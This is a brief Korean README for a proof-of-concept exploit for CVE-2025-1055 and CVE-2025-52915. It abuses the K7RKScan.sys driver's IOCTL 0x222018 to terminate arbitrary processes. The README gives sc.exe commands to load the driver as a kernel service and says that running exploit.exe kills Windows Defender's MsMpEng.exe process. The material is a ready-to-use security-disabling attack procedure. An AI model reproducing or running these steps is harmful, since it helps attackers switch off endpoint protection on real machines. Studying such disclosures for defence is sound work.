CVE-2025-1055-poc

CVE-2025-1055 및 CVE-2025-52915를 위한 PoC, K7RKScan.sys 사용. 이 PoC는 0x222018 IOCTL을 사용하여 임의의 프로세스를 종료합니다.

사용법

드라이버 설치:

sc.exe create K7RKScan_1516.sys binPath=C:\Users\Administrator\Downloads\K7RKScan_1516.sys type=kernel && sc.exe start K7RKScan_1516.sys

PoC 실행:

exploit.exe

MsMpEng.exe 프로세스(Windows Defender)를 종료합니다.